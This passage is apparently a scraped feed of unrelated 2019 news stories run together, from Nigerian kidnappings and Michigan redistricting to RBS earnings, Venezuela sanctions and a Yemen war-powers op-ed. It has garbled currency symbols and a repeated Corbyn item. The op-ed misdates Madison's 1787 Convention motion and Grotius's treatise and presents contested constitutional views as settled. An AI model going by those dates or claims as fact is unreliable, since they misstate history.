pushed to the brink of extinction by hunting and sand mining, which destroyed the banks where they lay their eggs. The damage was so severe that in 2000 they were feared wiped out in Cambodia, before nests were found and a careful conservation effort began. "Our team raised them since they hatched until now... these turtles are 12 or 13 years old," Som Sitha, technical advisor to the Wildlife Conservation Society, which ran the scheme with the help of EU funds. "We are releasing them to restore their numbers in nature. We hope that these turtles will breed in the near future," he said, urging local communities to help protect them. YENAGOA, Nigeria, April 26 (Reuters) - Two Royal Dutch Shell oil workers were kidnapped, and their police escorts killed, in Nigeria's restive Delta region, a police spokesman said on Friday. The workers were in Rivers State, returning from an official trip to Bayelsa state, when they were attacked. "The Shell Petroleum Development Company of Nigeria Limited (SPDC) regrets to confirm the attack on its staff and government security escort at Rumuji, Rivers State, on the East/West road on Thursday, April 25, 2019 around 16:00 hours," an SPDC spokesman said. "We are supporting the police in their investigation of the incident. We cannot make further comments at this time." A Rivers state police spokesman said that efforts were underway to rescue the workers. (Reporting By Tife Owolabi in Yenagoa; additional reporting and writing by Libby George in London; editing by Chris Reese) By Mark Hosenball WASHINGTON, April 26 (Reuters) - In an unusual bid to defuse tensions between congressional Democrats and the Trump administration, a top U.S. House Republican is urging the White House to let a former staffer talk with committee investigators about security clearances. Representative Jim Jordan, a leader of the right-wing House Freedom Caucus better known for stoking than soothing partisan frictions, on Friday urged the White House to let Carl Kline appear for a voluntary interview on April 30 or May 1, according to two sources who saw a letter from Jordan. Kline was formerly White House personnel security director. The House of Representatives Oversight Committee is probing allegations that the administration inappropriately granted security clearances to some Trump advisers. The approach by Jordan was the first signal since the release last week of the Mueller report that House Republicans, up until now supportive of Trump's stonewalling of investigations led by Democrats, might be willing to cooperate with Democrats on probes into national security issues. Among recipients of the security clearances at issue, said congressional sources who asked not to be named, were Trump's daughter Ivanka Trump and her husband Jared Kushner. Both allegedly got high-level clearances, despite recommendations from career security officials against it. The oversight committee has subpoenaed Kline, seeking his testimony. In a dispute over the terms of his appearance before the committee, the White House advised Kline to ignore the subpoena. The committee has responded by moving to hold Kline in contempt of Congress, possibly followed by legal action. Jordan is the top Republican on the oversight committee. Two congressional sources told Reuters that Jordan in a letter to White House Counsel Pat Cipollone on Friday encouraged the White House to let Kline appear next week for a voluntary interview before the committee. The panel is chaired by Democratic Representative Elijah Cummings. Story continues Jordan urged the White House "to avoid unnecessary conflict between Congress and the Executive Branch and to deescalate Chairman Cummings's orchestrated inter-branch confrontation." Jordan warned that Cummings might proceed with contempt of Congress proceedings against Kline as early as next week. Cummings, a Democrat, launched the investigation after Tricia Newbold, a career security official at the White House, disclosed that the administration overruled experts to give questionable security clearances to more than two dozen people. White House and Oversight Committee Democrats had no immediate comment. A Republican congressional source said that neither the White House nor Cummings had replied to Jordan's suggestion. (Reporting by Mark Hosenball; Editing by Kevin Drawbaugh) By Joseph Ax (Reuters) - A panel of federal judges on Thursday ordered Michigan's Republican-controlled legislature to redraw nearly three dozen state and U.S. congressional districts, ruling that the existing lines illegally dilute the power of Democratic voters. The decision gives lawmakers until Aug. 1 to approve new district maps, which would need to be signed by Democratic Governor Gretchen Whitmer. If legislators fail to do so, or if the court finds the new district lines are similarly unconstitutional, the judges said they would draw the maps themselves. The redrawn districts would take effect in time for the 2020 elections. The court also ordered Michigan to hold special state Senate elections next year, rather than in 2022 as scheduled, in any gerrymandered districts. The state's 14 seats in the U.S. House of Representatives are also up for election next year, and a majority of them could have new boundaries under the court's ruling. The decision is likely a boon for Democrats, who in 2018 failed to win a majority of the seats in the state House of Representatives, state Senate or the state's U.S. congressional delegation despite winning the overall popular vote in all three cases. "Today, this court joins the growing chorus of federal courts that have, in recent years, held that partisan gerrymandering is unconstitutional," U.S. District Judge Eric Clay, an appointee of former U.S. President Bill Clinton, wrote for a unanimous three-judge panel. Partisan gerrymandering is the process by which one party draws legislative districts to weaken the other party's voters. The lines are typically redrawn once a decade after the U.S. census, and in many states the party in power controls the decision-making. In late March, the U.S. Supreme Court heard arguments on whether such gerrymandering violates the U.S. Constitution in a case stemming from the electoral maps in Maryland and North Carolina. The Supreme Court has historically been reluctant to assert judicial oversight over what has always been a political undertaking. The judges in the Michigan case said the gerrymandered map "gives Republicans a strong, systematic, and durable structural advantage in Michigan's elections and decidedly discriminates against Democrats." The result is a violation of Democratic voters' constitutional right under the First Amendment to freely associate, the court said. "Federal courts must not abdicate their responsibility to protect American voters from this unconstitutional and pernicious practice that undermines our democracy," the judges wrote. Republican lawmakers, who intervened in the case, will appeal the ruling to the U.S. Supreme Court, state Senate Majority Leader Mike Shirkey said. "We will prepare to comply with this most recent ruling while we await the outcome of the appeal," Shirkey said in a statement. The Supreme Court could choose to put the Michigan ruling on hold until it issues its own decision, which is expected by June. The lawsuit was filed by a number of Democratic voters and by the League of Women Voters of Michigan. Michigan was key to U.S. President Donald Trump's victory in 2016, when he became the first Republican presidential candidate to win the state's support in nearly 30 years. The state is likely to be a major battleground state next year, when Trump runs for a second term. (Reporting by Joseph Ax; Editing by Alistair Bell and Tom Brown) Photo credit: Portland Press Herald - Getty Images From Popular Mechanics A recent missile test by the U.S. Navy validated an innovative concept that will make upgrading the electronics and computer systems on older warships much, much easier. The late March test saw the destroyer USS Thomas Hudner controlling its Aegis Combat System, including the launch of a missile, through a handful of computers in boxes small enough to fit under a dining room table. The heart of the U.S. Navys shipboard defenses is the Aegis Combat System. Named after Zeus shield in Greek mythology, Aegis was designed to be the shield of the fleet, making it possible to defend carrier battle groups from mass attack by missiles and bombers. Designed in the 1970s, Aegis ties together the SPY-1 radar system and air defense missiles such as the Standard SM-2, SM-6, SM-3, and others to identify, track, and systematically shoot down up to hundreds of targets at a time. Photo credit: U.S. Navy photo by Mass Communications Specialist 2nd Class Peter Burghart The hardware used to run Aegis was large and took up a significant portion of the ship. According to C4ISRNET , the military-grade computer, servers, consoles, and displays were so large that the Navy needed to cut holes in the hulls of ships when it needed to replace them. These systems also had a considerable electrical draw on the ships power supply, and required air conditioning-and more power-to keep them cool. Built to be large and rugged, these computers have also in many cases not been replaced for decades. Meanwhile, outside the Navy Moores Law, which says constant improvements in miniaturization technology allows computing power to double every eighteen to twenty four months, has ruled computers in the civilian sector. Originally predicted by Intel co-founder Gordon Moore in 1965, Moores Law has reliably forecast smaller, more portable computers for the past fifty years, making your laptop orders of magnitude more powerful than one with the same dimensions produced just five years. For Marchs missile test USS Hudner ran its Aegis hardware from what the Navy calls a virtual twin, a handful of modern computers in ruggedized boxes. Just as your iMac running the Mac operating system computer can run virtualization software to emulate a Linux computer, the virtual twin completely emulates Aegis computer system and software but in a much smaller package. Moores Law allows these computers to replicate the physically much larger set of Aegis computers originally fitted to Ticonderoga-class guided missile cruisers and Arleigh Burke-class guided missile destroyers built in the 80s, 90s, and 2000s. Story continues Photo credit: Erik Roberts, How much hardware does a computer system that fits under a dining room table replace? Heres a graphic from a thesis paper showing Aegis original computer network. The thesis paper , prepared by Erik Roberts at the Naval Postgraduate School in Monterey, California in 2011, proposed replacing Aegis computers with virtualization software. Its safe to say Roberts was onto something. What does all this mean for the Navy? The use of virtualization will make upgrades to shipboard computers-particularly Aegis-easier and cheaper than ever before. While previously the Navy had to cut holes into its ships to remove and replace computers and other electronics, now the older computers can be disassembled to manageable pieces and then their replacements wheeled aboard without any cutting involved. This would be particularly useful aboard submarines. Navies prefer not to cut submarine hulls as they are designed to hold against the pressures of the deep sea. The U.S. Navy is trying to reach a goal of 355 ships by 2030, and one way to accomplish that goal is keeping older ships around. The use of virtualization hardware and software will make keeping older ships up to date cheaper and easier to accomplish than ever before. The use of smaller, more energy efficient computers will also free up space and excess power inside the ships for other uses. Moores Law finally goes to sea. Read more at C4ISRNet. ('You Might Also Like',) London (AFP) - Britain's state-rescued Royal Bank of Scotland said Friday that first-quarter net profits sank 12.5 percent, hit by fierce competition in the home loans market and ongoing Brexit uncertainty. Profit after tax slid to A707 million ($912 million, 818 million euros) in the first three months of 2019, down from A808 million a year earlier, RBS said in a statement issued one day after chief executive Ross McEwan's resignation was announced. RBS said its performance was dented by a "continued competitive mortgage market," while lingering Brexit uncertainty persuaded many businesses to rein in spending. RBS warned that Brexit would make its performance "challenging" in the coming months. On a more upbeat note, operating profit before tax totalled A1.01 billion. That was down from A1.2 billion a year earlier -- but beat an average analyst forecast provided by the bank of A900 million. "While we retain the outlook guidance... we recognise that the ongoing impact of Brexit uncertainty on the economy, and associated delay in business borrowing decisions, is likely to make income growth more challenging in the near term," RBS said. Chairman Howard Davies had already warned Thursday at the lender's annual general meeting that worries over Britain's EU departure would weigh on both economic growth and the bank's performance. RBS also said Thursday that McEwan will step down after having steered it to a strong financial position over the last five-and-a-half years. "This is a solid set of results set against a highly uncertain and competitive backdrop," McEwan said on Friday. "We continue to support our customers through this Brexit uncertainty while investing and innovating in digital services to meet rapidly changing customer needs." The Edinburgh-based lender is still 62.4-percent government-owned after its bailout at the height of the global financial crisis. Story continues The first-quarter earnings drop comes after RBS had revealed in February that it enjoyed its second successive year of profit in 2018. New Zealander McEwan has been at the helm since 2013 and helped guide the financial services giant to a steady recovery through a drastic restructuring after the dramatic bailout during the 2008 financial meltdown. The 61-year-old has a 12-month notice period and will remain in the position until a successor has been appointed. The group was saved at the height of the financial crisis with A45.5 billion of taxpayers' cash in what was the world's biggest banking bailout. McEwan has overseen a massive overhaul of operations, slashing the lender's investment banking activities and axing tens of thousands of jobs. In total, RBS has suffered net losses of about A60 billion since the state rescue. LONDON, April 26 (Reuters) - The leader of Britain's opposition Labour Party, Jeremy Corbyn, said on Friday he had turned down an invitation to a state dinner which will be part of U.S. President Donald Trump's visit to Britain in June. "Theresa May should not be rolling out the red carpet for a state visit to honor a president who rips up vital international treaties, backs climate change denial and uses racist and misogynist rhetoric," Corbyn said in a statement. He said maintaining the relationship with the United States did not require "the pomp and ceremony of a state visit" and he said he would welcome a meeting with Trump "to discuss all matters of interest." (Reporting by Andy Bruce Writing by William Schomberg) LONDON (Reuters) - The leader of Britain's opposition Labour Party, Jeremy Corbyn, said on Friday he had turned down an invitation to a state dinner which will be one of the highlights of U.S. President Donald Trump's visit to Britain in June. "Theresa May should not be rolling out the red carpet for a state visit to honor a president who rips up vital international treaties, backs climate change denial and uses racist and misogynist rhetoric," Corbyn said in a statement. The left-wing Labour leader has long railed against U.S. foreign policy and said recently that Julian Assange should not be extradited to the United States where he faces a computer hacking charge. Corbyn said he would welcome a meeting with Trump "to discuss all matters of interest" but said maintaining ties with Washington did not require "the pomp and ceremony of a state visit." Trump is due to visit Britain between June 3 and 5 when he will become only the third U.S. president to have been accorded a state visit by Queen Elizabeth. However, Trump will not stay in Buckingham Palace, as foreign leaders typically do during state visits, because of renovation work. Almost 1.9 million Britons signed a petition in 2017 saying Trump should not be offered a state visit. (Reporting by Andy Bruce; Writing by William Schomberg; editing by Michael Holden) By Charlotte Greenfield WELLINGTON (Reuters) - Extremist ideology must be defeated, Britain's Prince William said during a visit to a New Zealand mosque on Friday where dozens were killed in a mass shooting last month after earlier meeting survivors of the massacre. William, the Duke of Cambridge, spoke at Al Noor mosque in the South Island city of Christchurch, one of two mosques where 50 people were killed by a lone gunman during Friday prayers on March 15. Forty-three people were killed at Al Noor mosque. "What happened here was fueled by a warped ideology that knows no boundaries," William told an audience that included Prime Minister Jacinda Ardern and other religious and community leaders. "Extremism in all its forms must be defeated," he said. William made the two-day visit to New Zealand on behalf of his 93-year-old grandmother Queen Elizabeth, New Zealand's head of state, following a request by Ardern. Preceded by a large contingent of police and watched by a police helicopter overhead, he was greeted by Ardern and the imam of Al Noor mosque, Gamel Fouda. He was due to visit the Linwood mosque, where another seven people were killed, later on Friday. "The message from Christchurch and the message from Al Noor and Linwood mosques could not be more clear. The global ideology of hate will fail to divide us," William said. Fouda thanked the prince for his speech, saying he had shown "we count". A 28-year-old man, a suspected white supremacist, has been charged with 50 counts of murder over New Zealand's worst peacetime mass shooting. Another 50 people were wounded in the attacks. William started his visit on Thursday in Auckland, New Zealand's largest city, where he attended an Anzac Day service in remembrance of Australian and New Zealand war dead. He later visited the Starship Children's Hospital with Ardern to meet 5-year-old Alen Alsati, who woke recently from a coma after she and her father were wounded in the attack. Photos and a video posted on Kensington Palace's Twitter account showed William sitting on the side of the child's hospital bed, surrounded by her family and Ardern. The girl asked if he had a daughter. "Yes, she's called Charlotte ... she's about the same age as you," William replied. He flew to Christchurch later on Thursday to meet some of the first responders to the mosque shootings, including ambulance staff. "You did an incredible job on a very bad day," he said, according to Kensington Palace's Twitter account. (Reporting by Charlotte Greenfield; Editing by Sandra Maler and Paul Tait) By Suzanne Barlyn and Andy Sullivan NEW YORK/WASHINGTON, April 26 (Reuters) - An uptick in white-collar prosecutions by the Trump administration could bring relief to high-end defense lawyers, who have been searching for work after years of declining federal prosecutions. Many white-collar lawyers have been fretting about their caseloads since the Trump administration took charge of the U.S. Department of Justice, worrying that it would continue or accelerate the declining level of activity under the last years of the Obama administration. Prosecutions, in fact, are now edging upward, Justice Department statistics show. But they are still far below levels seen in the wake of the 2008-2009 financial crisis. "I'm in a profession where everyone says they are 'doing great'," said Charles Ross, a New York-based criminal lawyer. "But generally, when I talk to people now, they are scrambling," said Ross, whose clients include white-collar defendants. The Justice Department says it filed charges against 6,547 defendants in the most recent fiscal year, which ended on Sept. 30, 2018, a 3 percent increase from the 2017 fiscal year. But that figure is far short of the 10,133 people who were charged with white-collar crimes in the 2011 fiscal year, and it remains short of the average annual figure of 8,479 this century. White-collar crime includes a wide range of nonviolent behavior, such as identity theft, Medicare fraud, and embezzlement. As the April 15 tax-filing deadline approached this year, federal prosecutors announced a spate of fraud cases against tax accountants. The number of white-collar prosecutions during a presidential administrations first year can dip from the previous administration and then notch up again as new leaders are confirmed for top Justice Department posts and different priorities are set. Trump administration officials have spoken frequently about cracking down on illegal immigration, violent crimes and opioid abuse, among other issues. Story continues Under Trump, the Justice Department has focused on prosecuting people involved in corporate wrongdoing, rather than the companies themselves. Companies that voluntarily report wrongdoing will be treated sympathetically, officials say. "The goal of criminal enforcement should not be to pursue a small number of cases and set a new record each year for the largest check extracted from shareholders. Enforcement should not be like a random lighting strike," Deputy Attorney General Rod Rosenstein said in a speech in March. The Justice Department's Fraud Section, which focuses on securities, financial and healthcare fraud, charged more than 400 people in the 2018 fiscal year -- an increase of more than one-third from the previous year, said spokeswoman Nicole Navas. Last year, former hedge fund manager Michael Scronic, of Westchester, New York, plead guilty to defrauding 45 investors of more than $22 million and radio personality Craig Carton was convicted of securities fraud and other offenses in a Ponzi-like scheme involving the reselling of concert tickets. ONE-OFF CASES The increase in prosecutions is still a long way from plugging gaps for many white-collar lawyers, who are beefing up other areas of their practices to fill the void. "There might be a natural resetting of the bar," said New York-based white-collar defense lawyer Greg Morvillo, who is devoting more time to defending one-off type cases against individuals, conducting corporate internal investigations and advising companies on governance issues. U.S. authorities are not conducting the types of sprawling, interrelated financial fraud investigations, such as those launched by former U.S. Attorney Preet Bharara, whose crackdown against insider trading at hedge funds began within months after his 2009 swearing-in. "It seems that nothing is hot in the sense that there is no overarching investigation keeping everyone in the industry busy," Morvillo said. Though the Justice Department was criticized for not aggressively pursuing Wall Street in the wake of the 2008-2009 financial crisis, fraud cases involving financial services did increase. Federal prosecutors charged 1,861 defendants in the 2010 fiscal year for crimes involving corporate fraud, securities fraud, investment fraud and mortgage fraud, official statistics show accounting for nearly one in five white-collar defendants during that time period. Activity has fallen sharply since then. Only 486 people were charged in those types of cases in the 2017 fiscal year, accounting for 8 percent of white-collar defendants. Insider trading cases have slowed. But authorities are still bringing cases involving spoofing, a crime that involves placing bids to buy or offers to sell futures contracts with the intent to cancel them before execution. By creating an illusion of demand, spoofers can influence prices to benefit their market positions. Not all white-collar lawyers say they are feeling the pinch. For example, Robert Frenchman recently left his job as a white-collar lawyer at a large New York law firm to launch a boutique defense firm. Maybe it is a little slower in terms of financial services white collar, although there are still quite a few out there, said Frenchman. (Reporting by Suzanne Barlyn in New York and Andy Sullivan in Washington; editing by Jonathan Oatis) CARACAS, Venezuela (AP) The United States on Friday added Venezuela's foreign minister and a judge who has ruled against Venezuelan opposition figures to a sanctions list aimed at forcing a change of government in the South American country. The U.S. Treasury Department sanctions targeted Foreign Minister Jorge Arreaza and Judge Carol Padilla, freezing any assets they have in the U.S. and barring American citizens or entities from financial dealings with them. They join a growing list of Venezuelan officials designated for U.S. sanctions as Washington increases pressure on Venezuelan President Nicolas Maduro, whose power struggle with U.S.-backed opposition leader Juan Guaido has entered its fourth month. Arreaza and Padilla are being held accountable for enabling "Maduro's corruption and human rights abuses," said John Bolton, White House national security adviser. Arreaza tweeted that the sanctions are a desperate measure that show the Venezuelan government is on "the right path." The foreign minister has represented Maduro's government at the United Nations amid the deep political and economic crisis in Venezuela, whose shrinking oil industry is also under U.S. sanctions. As Maduro's top diplomat, Arreaza has traveled widely to try to drum up support for his embattled government, meeting officials from key ally Russia and visiting Africa, the Middle East and elsewhere. He has sometimes faced walkouts by diplomats at international gatherings who say Maduro should quit. Padilla, the judge who was sanctioned, is responsible for the jailing opposition lawmaker Juan Requesens last year for allegedly being part of a plot to assassinate Maduro. She's also reportedly was the judge who jailed Guaido's chief of staff, Roberto Marrero, in March. The U.S. and more than 50 other governments view Maduro's re-election last year as illegitimate and have recognized Guaido as interim president until new elections can be held. Story continues In Caracas on Friday, Venezuelan police detained a substitute member of the opposition-controlled National Assembly who had been arrested in the past for allegedly plotting against the government. Authorities have not commented on the detention of Gilber Caro at a restaurant. Guaido, who rallied supporters in the Venezuelan city of Maracay on Friday, condemned Caro's arrest as a violation of parliamentary immunity. Some legislators have substitute lawmakers who stand in for them if they can't attend a session. Maduro has accused Guaido of sabotage and plotting a coup. But he has not moved to arrest the National Assembly leader, apparently aware that such a step could invite a backlash in the streets from opposition supporters or harsher action from the United States. In another development, a U.S. citizen detained during unrest in Venezuela in 2014 was freed Thursday. Todd Leininger, 37, was arrested after allegedly aiding the opposition during anti-government protests. His family said he didn't commit any crime. The U.S. State Department called Leininger's release "overdue," noting a Venezuelan court ordered him freed in November. The Florida native is one of several Americans imprisoned in Venezuela as the political and economic crisis deepened. Joshua Holt was released in 2018 after being held for over two years on weapons charges that his family says were bogus. Five U.S. citizens who are executives with Houston-based Citgo, a subsidiary of Venezuela's state-owned oil company, remain detained. Cristina Vadell, daughter of Tomeu Vadell, a Citgo employees detained for over a year, said Leininger's release was "encouraging" but noted the preliminary hearing of the Citgo executives was deferred on Friday for the 15th time. "We continue demanding for their release," she said. ___ Associated Press writer Ben Fox contributed from Washington. By Tom Miles GENEVA, April 26 (Reuters) - The United States said on Friday a World Trade Organization ruling on national security was "seriously flawed," a warning not to use it as a precedent to judge U.S. President Donald Trump's tariffs on imported steel and cars. The legal case in question was between Russia and Ukraine and did not directly involve the United States. But it was the first WTO ruling on "national security," the basis for U.S. tariffs imposed last March on aluminum and steel imports and a planned U.S. tariff on imported cars. The ruling earlier this month clarified the limits of "national security" as a defense for breaking WTO rules against unjustified tariff barriers to trade. Any such claim should be "objectively" true, relating to weapons, war, fissionable nuclear materials or an "emergency in international relations," according to the ruling. Both Russia and Ukraine decided not to appeal, clearing the way for final adoption of the ruling at Friday's meeting of the WTO's dispute settlement body. A U.S. diplomat told the meeting that the ruling was "unpersuasive" and "problematic for systemic reasons," according to an official who attended the meeting. The U.S. diplomat said the panel of three adjudicators had not sufficiently examined the argument that invocation of national security was "self-judging" - which would essentially shield the U.S. tariffs from any WTO challenge. The U.S. diplomat also said the panel's conclusions were premature and not up to the standards of international law, and that it should not have made the case for Russia by defining what constituted an "emergency" in international relations. Diplomats from the European Union, Canada, China, Turkey, Australia and Mexico welcomed the ruling and the burden that the panel had imposed on any WTO members making national security claims. Story continues The WTO's dispute system has acted as a bulwark against global protectionism since it was set up in 1995, but since Trump's election it has become a battleground for arguments about U.S. trade policies. Trump has blocked appointments of WTO appeals judges to stop what he sees as unfair treatment of U.S. trade policies, but critics fear the block could potentially cripple the WTO, and 75 WTO members have asked the United States to back down. A further threat to the WTO dispute system arose last month when Venezuela put a row with the United States on the agenda, prompting the postponement of the meeting because Washington does not recognize the government of President Nicolas Maduro. That could have caused an indefinite disruption, but Venezuela chose not to bring its complaint to Friday's meeting. (Reporting by Tom Miles Editing by Mark Heinrich) Washington (AFP) - The White House said Friday that it welcomes new talks between Britain and Ireland over reviving Northern Ireland's troubled power-sharing arrangement. "The United States welcomes the initiative today of the British and Irish governments to convene political talks in Northern Ireland," the White House said in a statement. "We encourage Northern Irelands political leaders to return to the negotiating table to restore the region's local government." The Trump administration said it was "shocked and saddened" by the slaying of 29-year-old Lyra McKee, shot dead on April 18 while reporting on riots in the second city of Londonderry. Northern Ireland, part of the United Kingdom, has been without its semi-autonomous government since January 2017 following a breakdown in trust between the main parties. However McKee's killing by republican paramilitaries has created new impetus for mending fences between the rival British unionist and Irish nationalist forces. Photo credit: Ezra Dyer - Car and Driver From Car and Driver If you're all fired up for the 2020 Ford Bronco but just can't wait for a brand-new Bronc, you're in luck. Because you can already buy a new Bronco! I'll get this out of the way now: It's not cheap, this new Bronco. And it's not new. Technically, it's a 1969. But every part on it is new, so feel free to start arguing about the "grandfather's axe" conundrum. If you're not up on your philosophical debates, that's a thought experiment concerning what would happen if your grandfather wore Axe body spray. Would he still be your grandfather? Or would he now be a lacrosse player named Brayden at a foam party in Cancun? There are good arguments either way. Anyhow, this Bronco costs $330,000. That number is certainly on my mind when I grab the keys from Brandon Segers, co-founder of Velocity Restorations in Pensacola, Florida. We're in Miami, a couple blocks from where I once saw a Veyron backing up traffic because the valet was busy with an Aventador. If you want a terminally jaded audience to judge the dopeness of your whip, get thee to Miami. So it's a good sign that the hotel valet likes the truck. "That . . . is beautiful," he says, taking a step back to soak it in. This truck doesn't look stock-cut rear fenders, little bit of a lift-but it's not overwrought, either. It's what I'd call Subtle SEMA, in that you can tell from 100 paces that this is a crazy-good paint job but it's not an obnoxious color. It's just black-a 40,000-league-deep, glossy-squid-ink-in-outer-space black. There's no top, so you want to mind the weather forecast. The interior's tan Italian leather is distressed, but I don't want to make it inconsolable. You also want to mind the accelerator, since this particular 50-year-old truck is pushing something like 700 horsepower at the crank. The Coyote 5.0-liter V-8 under the hood is topped with a 2.9-liter Whipple supercharger and, with the current underdrive pulley installed, dynos more than 600 horsepower at the wheels. This might be a good time to point out that I've never driven an early Bronco of any kind. My frame of reference is about to get skewed. Story continues As I steer for the highway, treating the accelerator like a live grenade, I hit Segers with some questions. Like, does anyone buy one of these things and then send it back because there's some option they wished they'd ordered? "I try to anticipate that kind of stuff and address it when we're planning the build," Segers says. "If someone is planning to use a 302 instead of the Coyote, I might ask, 'When was the last time you drove a carbureted engine? Is that really what you want?' People love the Coyote. If I had 15 Coyote Broncos ready to go, they'd all be sold by tomorrow." Velocity's least expensive Coyote-powered truck, the Lake Edition, rings in at $209,000. If you want one, there's about a one-year wait. Three other outfits that build Broncos of this ilk-Icon in California, Gateway Bronco in Illinois, and Classic Ford Broncos in Ohio-also enjoy perpetual customer queues. Apparently, there's a deep well of buyers with "Bronco Fund$$" jars in their garages, stuffed with gold bullion and Apple stock from 1980. After stoplight compliments from some city workers in a pickup, I decide to roll deeper into the throttle. There's a fleeting moment when the stubby truck surges forward, hood climbing toward the horizon, but then the tires break traction and the rear end jackhammers Collins Avenue with axle hop. "The SEMA version was the first one we'd built with this kind of power, just to see what we could do," Segers says. "If a customer really wanted it at more than 600 horsepower, we'd do a different rear suspension. We're pretty sure that it would do a wheelie with a four-link and the right kind of tires." Or, one might argue, the wrong kind of tires. I wait until we're on the highway to give it full throttle. And then the 6R80 downshifts and the old new truck shrieks violently from 60 mph to I-don't-dare-look speeds-a Roush Mustang on stilts. Fortunately, it's got big brakes and pretty good steering, but I'm still careful to get it reined in before the off-ramp. Don't want to test that six-point roll cage. Okay, so I could probably live without the Whipple blower. And the heated and cooled seats, and the bill for more than 2000 hours of labor. But I'm thinking like a nonwealthy person, a peon who'd feel bad driving this thing on the beach or putting dogs in it or doing other things I'd want to do in an old Bronco. Maybe the person signing the check for this one will use it like that and not care. Jay Leno told me that he restores cars until they're perfect and then drives them till they're not, because driving them is the point. Then again, Leno also cheerfully describes himself as having "more money than brains." If I had more money than brains, I'd definitely want a $330,000 Bronco. ('You Might Also Like',) Caracas (AFP) - Venezuelan opposition lawmaker Gilber Caro has been arrested by intelligence agents "violating his parliamentary immunity," the opposition-controlled legislature said on Friday. Caro was previously detained in January 2017, accused of plotting an armed revolt against President Nicolas Maduro, before he was released in June last year. "The dictatorship has again arbitrarily detained the deputy @gilbercaro violating his parliamentary immunity," said the National Assembly, the only branch of Venezuela's government not controlled by Maduro, on its Twitter account. It said it was "holding the usurper regime responsible for his life and integrity." Caro was arrested in a restaurant in the Las Mercedes neighborhood of the capital Caracas, fellow deputy Adriana Pichardo said in a news conference. "We have no idea what this arrest is for, we think it could be another set-up, an attempt to implicate him in another macabre plot." Caro is from the same party as opposition leader Juan Guaido, the National Assembly speaker who launched a challenge to Maduro's authority in January by declaring himself acting president, a move backed by more than 50 countries including the United States. Caro was one of four people -- alongside two opposition councilors and a retired general -- arrested over two years ago for what the government then termed "a terrorist plan of destabilization." Those arrests came just days after parliament had passed a motion declaring that Maduro had effectively "abandoned his post" by failing to tackle the country's economic crisis. Although held for 17 months, Caro was never convicted of any charge. In October, a Venezuelan military judge who was seeking asylum in Colombia apologized to Caro for having ordered his detention. On April 16, President Trump vetoed Senate Joint Resolution 7. Pursuant to the 1973 War Powers Resolution, the new statute directed the president to remove United States Armed Forces from hostilities in or affecting the Republic of Yemen where they are assisting a Saudi-led coalition that is present with the consent of Yemens government within 30 days. There was an exception for forces engaged in operations directed at al Qaeda or associated forces. The veto was essential to upholding Trumps oath of office to preserve, protect and defend the Constitution. Many, no doubt, voted aye because they honestly believe that Congress must approve all military operations and thus has the authority to remove forces from Yemen. But ignorance of the law is no excuse. If members of Congress believe the presidents foreign policies are misguided, they may communicate those concerns to him. But, with very limited exceptions largely involving treaties, nominations, and (now-illegal) all-out wars of aggression, legislators may not superimpose their own policy preferences over the constitutional discretion of the president to manage our foreign policy. The veto was also correct as a policy matter. While some support for the statute was simply politically partisan, some was clearly intended to protest the Saudi murder of American journalist Jamal Khashoggi or to address the tragic humanitarian crisis in Yemen arguably the greatest such crisis in the world today. But the statute would have rewarded Iran (which provides ballistic missiles and other support to Yemens Shiite Houthis, who hate Israel, Jews, and the United States, and admire Irans Hezbollah terrorists), undermined peace and stability in the region, and placed at risk one of the most important maritime chokepoints to international petroleum commerce. The Houthis have fired Iranian ballistic missiles at ships in the Red Sea, including at the U.S.S. Mason; and Major General Qassem Soleimani commander of Irans elite Quds force declared last July that Iran might use proxies to disrupt oil shipments through the strategically critical Bab el-Mandeb Strait. Most wise people hope the United Nations peace efforts will succeed, but removing a major incentive for the Houthis to compromise will not likely further that end. Story continues In addition, the resolution defined the word hostilities to include in-flight refueling of non-United States aircraft conducting missions as part of the ongoing civil war in Yemen. Refueling operations by U.S. KC-135 and KC-10 tankers were ended last year in response to congressional pressure. That wont keep coalition aircraft from striking targets and killing people anywhere in Yemen; but it will greatly reduce their loiter time over target perhaps eliminating the time needed to make certain the assigned target is, in fact, a lawful military target rather than a wedding gathering or school bus filled with innocent children. (Enhanced loiter time is one of the many benefits of using drones to deliver ordnance against terrorists, as the pilot can delay the attack if he notices, for example, a group of children walking past the target.) To its credit, Congress recognized that ceasing intelligence and logistical support for the Saudi-led coalition might well endanger the lives of American citizens in the region and increase the risk of terrorist attacks on U.S. Armed Forces and allies around the globe and attacks on the continental United States as well. But rather than consider these critical issues before voting, Congress in its wisdom directed the president to submit reports on these other issues within 90 days two months after the troops had been withdrawn and the damage done. Separation of Powers and Declaring War Under the Constitution Raised on the writings of John Locke, Montesquieu, and William Blackstone, the Framers understood that when Article II, Section 1, of the Constitution vested the nations executive Power in the president, the foreign-relations power was the essential element of the grant (to quote the legendary University of Chicago professor Quincy Wright in his 1922 classic, The Control of American Foreign Relations). As Secretary of State Thomas Jefferson explained in an April 24, 1790, memorandum to President Washington, the Constitution declares that the Executive power of the Nation is vested in the president, submitting only special articles to a negative by the Senate. Jefferson reasoned: The transaction of business with foreign nations is executive altogether; it belongs, then to the head of that department, except as to such portions of it as are specially submitted to the Senate. Exceptions are to be construed strictly. Three days later, Washington recorded in his diary that he had discussed Jeffersons memo with Chief Justice John Jay and Representative James Madison (often called the Father of the Constitution), and both agreed with Jefferson that most foreign-policy decisions were Executive in character and thus vested in the President by the Constitution. Three years later, Jeffersons chief rival in Washingtons cabinet, Treasury Secretary Alexander Hamilton, took an identical position in his first Pacificus essay when after noting that the Constitution vested the executive power in the president he wrote that the power of the Legislature to declare war was an exception out of the general executive power vested in the President, and thus should be construed strictly. Relying upon the same authority, Federalist representative (and later Supreme Court chief justice) John Marshall declared in 1800: The President is the sole organ of the nation in its external relations, and its sole representative with foreign nations. . . . He possesses the whole Executive power. Marshalls sole organ language has been quoted with favor in scores of Supreme Court cases over the decades. Indeed, this understanding of presidential power was widely embraced by all three branches of government until around the end of the Vietnam War. For example, in a 1969 address at Cornell Law School, Senate Foreign Relations Committee chairman J. William Fulbright declared: The preeminent responsibility of the president for the formulation and conduct of American foreign policy is clear and unalterable. Formal Declarations of War One of the most misunderstood terms in constitutional law in the modern era is Declaration of War. On August 17, 1789, James Madison moved in the Constitutional Convention to narrow the power to be given Congress from to make war to the much narrower power to declare war. Declare war was a term of art from the Law of Nations, and was associated only with all-out aggressive wars which were legal in the 18th century. As Hugo Grotius, often called the father of modern international law, explained in his 1620 treatise on The Law of War and Peace: No declaration is required when one is repelling an invasion, or seeking to punish the actual author of some crime. Nor is such a declaration necessary when a country is using force inside the territory of another country with its consent, such as the current situation in Yemen; or against a non-state actor such as al-Qaeda, ISIS, or the Houthi in 